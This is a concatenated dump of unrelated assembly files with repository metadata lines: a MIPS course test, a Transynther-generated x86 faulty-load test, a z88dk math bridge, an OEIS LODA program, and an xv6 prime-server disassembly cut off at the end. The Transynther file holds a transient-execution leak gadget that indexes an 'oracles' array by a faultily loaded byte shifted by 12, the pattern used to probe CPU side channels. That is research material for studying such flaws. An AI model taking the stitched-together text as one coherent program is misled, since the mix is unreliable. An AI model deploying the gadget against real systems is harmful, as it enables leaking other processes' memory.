lb $6,10($0)
sltu $2,$3,$5
slt $2,$2,$0
subu $2,$6,$2
sec107:
lw $6,0($0)
and $2,$3,$5
sltiu $2,$4,21570
subu $2,$6,$2
sec108:
lbu $6,11($0)
sltu $2,$2,$2
mfhi $2
subu $2,$6,$2
sec109:
lh $6,6($0)
subu $2,$5,$1
lh $2,4($0)
subu $5,$6,$2
sec110:
lhu $6,14($0)
sltiu $2,$5,8316
nop
subu $4,$6,$2
sec111:
lhu $6,8($0)
andi $2,$1,52468
nor $2,$1,$5
subu $5,$6,$2
sec112:
lhu $6,0($0)
xori $2,$5,11238
ori $2,$6,52232
subu $2,$6,$2
sec113:
lw $6,12($0)
andi $2,$3,10384
mfhi $2
subu $3,$6,$2
sec114:
lbu $6,16($0)
sltiu $2,$6,-11530
lh $2,14($0)
subu $6,$6,$2
sec115:
lb $6,12($0)
mfhi $2
nop
subu $3,$6,$2
sec116:
lhu $6,8($0)
mfhi $2
subu $2,$2,$3
subu $3,$6,$2
sec117:
lb $6,12($0)
mflo $2
slti $2,$6,5882
subu $4,$6,$2
sec118:
lw $6,16($0)
mflo $2
mflo $2
subu $1,$6,$2
sec119:
lb $6,13($0)
mfhi $2
lw $2,8($0)
subu $3,$6,$2
sec120:
lw $6,16($0)
lw $2,4($0)
nop
subu $5,$6,$2
sec121:
lh $6,14($0)
lbu $2,8($0)
slt $2,$0,$5
subu $1,$6,$2
sec122:
lb $6,15($0)
lb $2,3($0)
slti $2,$6,-12441
subu $2,$6,$2
sec123:
lbu $6,4($0)
lb $2,1($0)
mfhi $2
subu $5,$6,$2
sec124:
lbu $6,3($0)
lbu $2,10($0)
lb $2,5($0)
subu $0,$6,$2
| 11.639063 | 19 | 0.530004 | [
"Apache-2.0"
] | alxzzhou/BUAA_CO_2020 | P6/data_P6_2/cal_R_test25.asm | 7,449 | Assembly |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x22f1, %rbp
nop
nop
nop
nop
nop
inc %rdi
movw $0x6162, (%rbp)
nop
nop
add %rbp, %rbp
lea addresses_WC_ht+0x13429, %rcx
nop
nop
nop
nop
and %r12, %r12
mov $0x6162636465666768, %r9
movq %r9, %xmm2
movups %xmm2, (%rcx)
nop
nop
add %rbp, %rbp
lea addresses_D_ht+0xbc91, %rsi
lea addresses_UC_ht+0xddf1, %rdi
nop
nop
nop
cmp $12445, %r14
mov $15, %rcx
rep movsb
nop
nop
nop
nop
add %rsi, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %rax
push %rbp
push %rcx
push %rdx
// Faulty Load
lea addresses_UC+0x2731, %rcx
nop
nop
inc %r12
mov (%rcx), %r15d
lea oracles, %rax
and $0xff, %r15
shlq $12, %r15
mov (%rax,%r15,1), %r15
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 5}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 6, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 4, 'type': 'addresses_D_ht'}}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
| 48.673684 | 2,999 | 0.662413 | [
"MIT"
] | danielmgmi/medusa | Transynther/_processed/AVXALIGN/_st_/i7-7700_9_0x48_notsx.log_21829_1580.asm | 4,624 | Assembly |
SECTION code_fp_am9511
PUBLIC log_fastcall
EXTERN asm_am9511_log_fastcall
defc log_fastcall = asm_am9511_log_fastcall
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _log_fastcall
defc _log_fastcall = asm_am9511_log_fastcall
ENDIF
| 16.928571 | 44 | 0.852321 | [
"Unlicense"
] | drunkfly/gamemyx | Tools/z88dk/libsrc/_DEVELOPMENT/math/float/am9511/lam32/c/sccz80/log_fastcall.asm | 237 | Assembly |
; A168102: a(n) = sum of natural numbers m such that n - 3 <= m <= n + 3.
; 6,10,15,21,28,35,42,49,56,63,70,77,84,91,98,105,112,119,126,133,140,147,154,161,168,175,182,189,196,203,210,217,224,231,238,245,252,259,266,273,280,287,294,301,308,315,322,329,336,343,350,357,364,371,378,385,392,399,406,413,420,427,434,441,448,455,462,469,476,483,490,497,504,511,518,525,532,539,546,553,560,567,574,581,588,595,602,609,616,623,630,637,644,651,658,665,672,679,686,693,700,707,714,721,728,735,742,749,756,763,770,777,784,791,798,805,812,819,826,833,840,847,854,861,868,875,882,889,896,903,910,917,924,931,938,945,952,959,966,973,980,987,994,1001,1008,1015,1022,1029,1036,1043,1050,1057,1064,1071,1078,1085,1092,1099,1106,1113,1120,1127,1134,1141,1148,1155,1162,1169,1176,1183,1190,1197,1204,1211,1218,1225,1232,1239,1246,1253,1260,1267,1274,1281,1288,1295,1302,1309,1316,1323,1330,1337,1344,1351,1358,1365,1372,1379,1386,1393,1400,1407,1414,1421,1428,1435,1442,1449,1456,1463,1470,1477,1484,1491,1498,1505,1512,1519,1526,1533,1540,1547,1554,1561,1568,1575,1582,1589,1596,1603,1610,1617,1624,1631,1638,1645,1652,1659,1666,1673,1680,1687,1694,1701,1708,1715,1722,1729,1736,1743
mov $2,$0
mov $0,7
add $2,3
lpb $0
trn $1,$0
sub $0,1
add $1,$2
lpe
| 103.5 | 1,092 | 0.740741 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/168/A168102.asm | 1,242 | Assembly |
_primsrv: file format elf32-i386
Disassembly of section .text:
00000000 <is_prime>:
else // even
return next_pr(num-1); //become odd and return next_pr
}
*/
int is_prime(int number) {
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 ec 10 sub $0x10,%esp
int i;
for (i = 2; (i*i) < number; i++)
6: c7 45 fc 02 00 00 00 movl $0x2,-0x4(%ebp)
d: eb 20 jmp 2f <is_prime+0x2f>
{
if (number % i == 0 && i != number)
f: 8b 45 08 mov 0x8(%ebp),%eax
12: 99 cltd
13: f7 7d fc idivl -0x4(%ebp)
16: 89 d0 mov %edx,%eax
18: 85 c0 test %eax,%eax
1a: 75 0f jne 2b <is_prime+0x2b>
1c: 8b 45 fc mov -0x4(%ebp),%eax
1f: 3b 45 08 cmp 0x8(%ebp),%eax
22: 74 07 je 2b <is_prime+0x2b>
return 0;
24: b8 00 00 00 00 mov $0x0,%eax
29: eb 15 jmp 40 <is_prime+0x40>
}
*/
int is_prime(int number) {
int i;
for (i = 2; (i*i) < number; i++)
2b: 83 45 fc 01 addl $0x1,-0x4(%ebp)
2f: 8b 45 fc mov -0x4(%ebp),%eax
32: 0f af 45 fc imul -0x4(%ebp),%eax
36: 3b 45 08 cmp 0x8(%ebp),%eax
39: 7c d4 jl f <is_prime+0xf>
{
if (number % i == 0 && i != number)
return 0;
}
return 1;
3b: b8 01 00 00 00 mov $0x1,%eax
}
40: c9 leave
41: c3 ret
00000042 <next_pr>:
int next_pr(int n){
42: 55 push %ebp
43: 89 e5 mov %esp,%ebp
45: 83 ec 14 sub $0x14,%esp
int i = 0;
48: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
int found = 0;
4f: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
for(i=n+1; !found ;i++){
56: 8b 45 08 mov 0x8(%ebp),%eax
59: 83 c0 01 add $0x1,%eax
5c: 89 45 fc mov %eax,-0x4(%ebp)
5f: eb 18 jmp 79 <next_pr+0x37>
if(is_prime(i)){
61: 8b 45 fc mov -0x4(%ebp),%eax
64: 89 04 24 mov %eax,(%esp)
67: e8 94 ff ff ff call 0 <is_prime>
6c: 85 c0 test %eax,%eax
6e: 74 05 je 75 <next_pr+0x33>
return i;
70: 8b 45 fc mov -0x4(%ebp),%eax
73: eb 0f jmp 84 <next_pr+0x42>
}
int next_pr(int n){
int i = 0;
int found = 0;
for(i=n+1; !found ;i++){
75: 83 45 fc 01 addl $0x1,-0x4(%ebp)
79: 83 7d f8 00 cmpl $0x0,-0x8(%ebp)
7d: 74 e2 je 61 <next_pr+0x1f>
if(is_prime(i)){
return i;
}
}
return 0;
7f: b8 00 00 00 00 mov $0x0,%eax
}
84: c9 leave
85: c3 ret
00000086 <handle_worker_sig>:
void
handle_worker_sig(int main_pid, int value)
{
86: 55 push %ebp
87: 89 e5 mov %esp,%ebp
89: 83 ec 28 sub $0x28,%esp
if (value == 0) {
8c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
90: 75 05 jne 97 <handle_worker_sig+0x11>
exit();
92: e8 d6 06 00 00 call 76d <exit>
}
// get next prime
int c = next_pr(value);
97: 8b 45 0c mov 0xc(%ebp),%eax
9a: 89 04 24 mov %eax,(%esp)
9d: e8 a0 ff ff ff call 42 <next_pr>
a2: 89 45 f4 mov %eax,-0xc(%ebp)
//return result to main proccess
sigsend(main_pid, c);
a5: 8b 45 f4 mov -0xc(%ebp),%eax
a8: 89 44 24 04 mov %eax,0x4(%esp)
ac: 8b 45 08 mov 0x8(%ebp),%eax
af: 89 04 24 mov %eax,(%esp)
b2: e8 5e 07 00 00 call 815 <sigsend>
//pause until the next number
//sigpause();
}
b7: c9 leave
b8: c3 ret
000000b9 <handle_main_sig>:
void
handle_main_sig(int worker_pid, int value)
{
b9: 55 push %ebp
ba: 89 e5 mov %esp,%ebp
bc: 83 ec 38 sub $0x38,%esp
int i;
for (i = 0; i < workers_number; i++) {
bf: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
c6: eb 79 jmp 141 <handle_main_sig+0x88>
if (workers[i].pid == worker_pid){
c8: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
ce: 8b 55 f4 mov -0xc(%ebp),%edx
d1: 89 d0 mov %edx,%eax
d3: 01 c0 add %eax,%eax
d5: 01 d0 add %edx,%eax
d7: c1 e0 02 shl $0x2,%eax
da: 01 c8 add %ecx,%eax
dc: 8b 00 mov (%eax),%eax
de: 3b 45 08 cmp 0x8(%ebp),%eax
e1: 75 5a jne 13d <handle_main_sig+0x84>
printf(STDOUT, "worker %d returned %d as a result for %d", worker_pid, value, workers[i].input_x);
e3: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
e9: 8b 55 f4 mov -0xc(%ebp),%edx
ec: 89 d0 mov %edx,%eax
ee: 01 c0 add %eax,%eax
f0: 01 d0 add %edx,%eax
f2: c1 e0 02 shl $0x2,%eax
f5: 01 c8 add %ecx,%eax
f7: 8b 40 04 mov 0x4(%eax),%eax
fa: 89 44 24 10 mov %eax,0x10(%esp)
fe: 8b 45 0c mov 0xc(%ebp),%eax
101: 89 44 24 0c mov %eax,0xc(%esp)
105: 8b 45 08 mov 0x8(%ebp),%eax
108: 89 44 24 08 mov %eax,0x8(%esp)
10c: c7 44 24 04 dc 0c 00 movl $0xcdc,0x4(%esp)
113: 00
114: c7 04 24 02 00 00 00 movl $0x2,(%esp)
11b: e8 ed 07 00 00 call 90d <printf>
workers[i].working = 0;
120: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
126: 8b 55 f4 mov -0xc(%ebp),%edx
129: 89 d0 mov %edx,%eax
12b: 01 c0 add %eax,%eax
12d: 01 d0 add %edx,%eax
12f: c1 e0 02 shl $0x2,%eax
132: 01 c8 add %ecx,%eax
134: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
break;
13b: eb 12 jmp 14f <handle_main_sig+0x96>
void
handle_main_sig(int worker_pid, int value)
{
int i;
for (i = 0; i < workers_number; i++) {
13d: 83 45 f4 01 addl $0x1,-0xc(%ebp)
141: a1 78 10 00 00 mov 0x1078,%eax
146: 39 45 f4 cmp %eax,-0xc(%ebp)
149: 0f 8c 79 ff ff ff jl c8 <handle_main_sig+0xf>
printf(STDOUT, "worker %d returned %d as a result for %d", worker_pid, value, workers[i].input_x);
workers[i].working = 0;
break;
}
}
}
14f: c9 leave
150: c3 ret
00000151 <main>:
int
main(int argc, char *argv[])
{
151: 55 push %ebp
152: 89 e5 mov %esp,%ebp
154: 83 e4 f0 and $0xfffffff0,%esp
157: 81 ec 90 00 00 00 sub $0x90,%esp
int i, pid, input_x;
int toRun = 1;
15d: c7 84 24 88 00 00 00 movl $0x1,0x88(%esp)
164: 01 00 00 00
char buf[MAX_INPUT];
// validate arguments
if (argc != 2) {
168: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
16c: 74 19 je 187 <main+0x36>
printf(STDOUT, "Unvaild parameter for primsrv test\n");
16e: c7 44 24 04 08 0d 00 movl $0xd08,0x4(%esp)
175: 00
176: c7 04 24 02 00 00 00 movl $0x2,(%esp)
17d: e8 8b 07 00 00 call 90d <printf>
exit();
182: e8 e6 05 00 00 call 76d <exit>
}
// allocate workers array
workers_number = atoi(argv[1]);
187: 8b 45 0c mov 0xc(%ebp),%eax
18a: 83 c0 04 add $0x4,%eax
18d: 8b 00 mov (%eax),%eax
18f: 89 04 24 mov %eax,(%esp)
192: e8 44 05 00 00 call 6db <atoi>
197: a3 78 10 00 00 mov %eax,0x1078
workers = (worker_s*) malloc(workers_number * sizeof(worker_s));
19c: a1 78 10 00 00 mov 0x1078,%eax
1a1: 89 c2 mov %eax,%edx
1a3: 89 d0 mov %edx,%eax
1a5: 01 c0 add %eax,%eax
1a7: 01 d0 add %edx,%eax
1a9: c1 e0 02 shl $0x2,%eax
1ac: 89 04 24 mov %eax,(%esp)
1af: e8 45 0a 00 00 call bf9 <malloc>
1b4: a3 7c 10 00 00 mov %eax,0x107c
// configure the main process with workers-handler inorder to pass it to son by fork()
sigset((void *)handle_worker_sig);
1b9: c7 04 24 86 00 00 00 movl $0x86,(%esp)
1c0: e8 48 06 00 00 call 80d <sigset>
printf(STDOUT, "workers pids:\n");
1c5: c7 44 24 04 2c 0d 00 movl $0xd2c,0x4(%esp)
1cc: 00
1cd: c7 04 24 02 00 00 00 movl $0x2,(%esp)
1d4: e8 34 07 00 00 call 90d <printf>
for(i = 0; i < workers_number; i++) {
1d9: c7 84 24 8c 00 00 00 movl $0x0,0x8c(%esp)
1e0: 00 00 00 00
1e4: e9 cd 00 00 00 jmp 2b6 <main+0x165>
if ((pid = fork()) == 0) { // son
1e9: e8 77 05 00 00 call 765 <fork>
1ee: 89 84 24 84 00 00 00 mov %eax,0x84(%esp)
1f5: 83 bc 24 84 00 00 00 cmpl $0x0,0x84(%esp)
1fc: 00
1fd: 75 07 jne 206 <main+0xb5>
while(1) sigpause();
1ff: e8 21 06 00 00 call 825 <sigpause>
204: eb f9 jmp 1ff <main+0xae>
}
else if (pid > 0) { // father
206: 83 bc 24 84 00 00 00 cmpl $0x0,0x84(%esp)
20d: 00
20e: 0f 8e 89 00 00 00 jle 29d <main+0x14c>
//init son worker_s
printf(STDOUT, "%d\n", pid);
214: 8b 84 24 84 00 00 00 mov 0x84(%esp),%eax
21b: 89 44 24 08 mov %eax,0x8(%esp)
21f: c7 44 24 04 3b 0d 00 movl $0xd3b,0x4(%esp)
226: 00
227: c7 04 24 02 00 00 00 movl $0x2,(%esp)
22e: e8 da 06 00 00 call 90d <printf>
workers[i].pid = pid;
233: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
239: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
240: 89 d0 mov %edx,%eax
242: 01 c0 add %eax,%eax
244: 01 d0 add %edx,%eax
246: c1 e0 02 shl $0x2,%eax
249: 8d 14 01 lea (%ecx,%eax,1),%edx
24c: 8b 84 24 84 00 00 00 mov 0x84(%esp),%eax
253: 89 02 mov %eax,(%edx)
workers[i].input_x = -1;
255: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
25b: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
262: 89 d0 mov %edx,%eax
264: 01 c0 add %eax,%eax
266: 01 d0 add %edx,%eax
268: c1 e0 02 shl $0x2,%eax
26b: 01 c8 add %ecx,%eax
26d: c7 40 04 ff ff ff ff movl $0xffffffff,0x4(%eax)
workers[i].working = 0;
274: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
27a: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
281: 89 d0 mov %edx,%eax
283: 01 c0 add %eax,%eax
285: 01 d0 add %edx,%eax
287: c1 e0 02 shl $0x2,%eax
28a: 01 c8 add %ecx,%eax
28c: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
// configure the main process with workers-handler inorder to pass it to son by fork()
sigset((void *)handle_worker_sig);
printf(STDOUT, "workers pids:\n");
for(i = 0; i < workers_number; i++) {
293: 83 84 24 8c 00 00 00 addl $0x1,0x8c(%esp)
29a: 01
29b: eb 19 jmp 2b6 <main+0x165>
workers[i].pid = pid;
workers[i].input_x = -1;
workers[i].working = 0;
}
else { // fork failed
printf(STDOUT, "fork() failed!\n");
29d: c7 44 24 04 3f 0d 00 movl $0xd3f,0x4(%esp)
2a4: 00
2a5: c7 04 24 02 00 00 00 movl $0x2,(%esp)
2ac: e8 5c 06 00 00 call 90d <printf>
exit();
2b1: e8 b7 04 00 00 call 76d <exit>
// configure the main process with workers-handler inorder to pass it to son by fork()
sigset((void *)handle_worker_sig);
printf(STDOUT, "workers pids:\n");
for(i = 0; i < workers_number; i++) {
2b6: a1 78 10 00 00 mov 0x1078,%eax
2bb: 39 84 24 8c 00 00 00 cmp %eax,0x8c(%esp)
2c2: 0f 8c 21 ff ff ff jl 1e9 <main+0x98>
exit();
}
}
// configure the main process - correct handler
sigset((void *)handle_main_sig);
2c8: c7 04 24 b9 00 00 00 movl $0xb9,(%esp)
2cf: e8 39 05 00 00 call 80d <sigset>
while(toRun)
2d4: e9 d0 01 00 00 jmp 4a9 <main+0x358>
{
printf(STDOUT, "Please enter a number: ");
2d9: c7 44 24 04 4f 0d 00 movl $0xd4f,0x4(%esp)
2e0: 00
2e1: c7 04 24 02 00 00 00 movl $0x2,(%esp)
2e8: e8 20 06 00 00 call 90d <printf>
read(1, buf, MAX_INPUT);
2ed: c7 44 24 08 64 00 00 movl $0x64,0x8(%esp)
2f4: 00
2f5: 8d 44 24 1c lea 0x1c(%esp),%eax
2f9: 89 44 24 04 mov %eax,0x4(%esp)
2fd: c7 04 24 01 00 00 00 movl $0x1,(%esp)
304: e8 7c 04 00 00 call 785 <read>
if (buf[0] == '\n'){
309: 0f b6 44 24 1c movzbl 0x1c(%esp),%eax
30e: 3c 0a cmp $0xa,%al
310: 75 05 jne 317 <main+0x1c6>
//handle main signals by calling a system call
//sigset((void *)handle_main_sig);
continue;
312: e9 92 01 00 00 jmp 4a9 <main+0x358>
}
input_x = atoi(buf);
317: 8d 44 24 1c lea 0x1c(%esp),%eax
31b: 89 04 24 mov %eax,(%esp)
31e: e8 b8 03 00 00 call 6db <atoi>
323: 89 84 24 80 00 00 00 mov %eax,0x80(%esp)
if(input_x != 0)
32a: 83 bc 24 80 00 00 00 cmpl $0x0,0x80(%esp)
331: 00
332: 0f 84 e5 00 00 00 je 41d <main+0x2cc>
{
// send input_x to process p using sigsend sys-call
for (i = 0; i < workers_number; i++)
338: c7 84 24 8c 00 00 00 movl $0x0,0x8c(%esp)
33f: 00 00 00 00
343: e9 98 00 00 00 jmp 3e0 <main+0x28f>
{
if (workers[i].working == 0) // available
348: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
34e: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
355: 89 d0 mov %edx,%eax
357: 01 c0 add %eax,%eax
359: 01 d0 add %edx,%eax
35b: c1 e0 02 shl $0x2,%eax
35e: 01 c8 add %ecx,%eax
360: 8b 40 08 mov 0x8(%eax),%eax
363: 85 c0 test %eax,%eax
365: 75 71 jne 3d8 <main+0x287>
{
workers[i].working = 1;
367: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
36d: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
374: 89 d0 mov %edx,%eax
376: 01 c0 add %eax,%eax
378: 01 d0 add %edx,%eax
37a: c1 e0 02 shl $0x2,%eax
37d: 01 c8 add %ecx,%eax
37f: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax)
workers[i].input_x = input_x;
386: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
38c: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
393: 89 d0 mov %edx,%eax
395: 01 c0 add %eax,%eax
397: 01 d0 add %edx,%eax
399: c1 e0 02 shl $0x2,%eax
39c: 8d 14 01 lea (%ecx,%eax,1),%edx
39f: 8b 84 24 80 00 00 00 mov 0x80(%esp),%eax
3a6: 89 42 04 mov %eax,0x4(%edx)
sigsend(workers[i].pid, input_x);
3a9: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
3af: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
3b6: 89 d0 mov %edx,%eax
3b8: 01 c0 add %eax,%eax
3ba: 01 d0 add %edx,%eax
3bc: c1 e0 02 shl $0x2,%eax
3bf: 01 c8 add %ecx,%eax
3c1: 8b 00 mov (%eax),%eax
3c3: 8b 94 24 80 00 00 00 mov 0x80(%esp),%edx
3ca: 89 54 24 04 mov %edx,0x4(%esp)
3ce: 89 04 24 mov %eax,(%esp)
3d1: e8 3f 04 00 00 call 815 <sigsend>
break;
3d6: eb 1a jmp 3f2 <main+0x2a1>
input_x = atoi(buf);
if(input_x != 0)
{
// send input_x to process p using sigsend sys-call
for (i = 0; i < workers_number; i++)
3d8: 83 84 24 8c 00 00 00 addl $0x1,0x8c(%esp)
3df: 01
3e0: a1 78 10 00 00 mov 0x1078,%eax
3e5: 39 84 24 8c 00 00 00 cmp %eax,0x8c(%esp)
3ec: 0f 8c 56 ff ff ff jl 348 <main+0x1f7>
break;
}
}
// no idle workers to handle signal
if (i == workers_number){
3f2: a1 78 10 00 00 mov 0x1078,%eax
3f7: 39 84 24 8c 00 00 00 cmp %eax,0x8c(%esp)
3fe: 0f 85 a5 00 00 00 jne 4a9 <main+0x358>
printf(STDOUT, "no idle workers\n");
404: c7 44 24 04 67 0d 00 movl $0xd67,0x4(%esp)
40b: 00
40c: c7 04 24 02 00 00 00 movl $0x2,(%esp)
413: e8 f5 04 00 00 call 90d <printf>
418: e9 8c 00 00 00 jmp 4a9 <main+0x358>
}
}
else // input = 0, exiting program
{
for (i = 0; i < workers_number; i++)
41d: c7 84 24 8c 00 00 00 movl $0x0,0x8c(%esp)
424: 00 00 00 00
428: eb 64 jmp 48e <main+0x33d>
{
sigsend(workers[i].pid, 0);
42a: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
430: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
437: 89 d0 mov %edx,%eax
439: 01 c0 add %eax,%eax
43b: 01 d0 add %edx,%eax
43d: c1 e0 02 shl $0x2,%eax
440: 01 c8 add %ecx,%eax
442: 8b 00 mov (%eax),%eax
444: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
44b: 00
44c: 89 04 24 mov %eax,(%esp)
44f: e8 c1 03 00 00 call 815 <sigsend>
printf(STDOUT, "worker %d exit\n", workers[i].pid);
454: 8b 0d 7c 10 00 00 mov 0x107c,%ecx
45a: 8b 94 24 8c 00 00 00 mov 0x8c(%esp),%edx
461: 89 d0 mov %edx,%eax
463: 01 c0 add %eax,%eax
465: 01 d0 add %edx,%eax
467: c1 e0 02 shl $0x2,%eax
46a: 01 c8 add %ecx,%eax
46c: 8b 00 mov (%eax),%eax
46e: 89 44 24 08 mov %eax,0x8(%esp)
472: c7 44 24 04 78 0d 00 movl $0xd78,0x4(%esp)
479: 00
47a: c7 04 24 02 00 00 00 movl $0x2,(%esp)
481: e8 87 04 00 00 call 90d <printf>
}
}
else // input = 0, exiting program
{
for (i = 0; i < workers_number; i++)
486: 83 84 24 8c 00 00 00 addl $0x1,0x8c(%esp)
48d: 01
48e: a1 78 10 00 00 mov 0x1078,%eax
493: 39 84 24 8c 00 00 00 cmp %eax,0x8c(%esp)
49a: 7c 8e jl 42a <main+0x2d9>
{
sigsend(workers[i].pid, 0);
printf(STDOUT, "worker %d exit\n", workers[i].pid);
}
toRun = 0;
49c: c7 84 24 88 00 00 00 movl $0x0,0x88(%esp)
4a3: 00 00 00 00
break;
4a7: eb 0e jmp 4b7 <main+0x366>
}
// configure the main process - correct handler
sigset((void *)handle_main_sig);
while(toRun)
4a9: 83 bc 24 88 00 00 00 cmpl $0x0,0x88(%esp)
4b0: 00
4b1: 0f 85 22 fe ff ff jne 2d9 <main+0x188>
*/
}
}
for(i = 0; i < workers_number; i++)
4b7: c7 84 24 8c 00 00 00 movl $0x0,0x8c(%esp)
4be: 00 00 00 00
4c2: eb 0d jmp 4d1 <main+0x380>
wait();
4c4: e8 ac 02 00 00 call 775 <wait>
*/
}
}
for(i = 0; i < workers_number; i++)
4c9: 83 84 24 8c 00 00 00 addl $0x1,0x8c(%esp)
4d0: 01
4d1: a1 78 10 00 00 mov 0x1078,%eax
4d6: 39 84 24 8c 00 00 00 cmp %eax,0x8c(%esp)
4dd: 7c e5 jl 4c4 <main+0x373>
wait();
free(workers);
4df: a1 7c 10 00 00 mov 0x107c,%eax
4e4: 89 04 24 mov %eax,(%esp)
4e7: e8 d4 05 00 00 call ac0 <free>
printf(STDOUT, "primsrv exit\n");
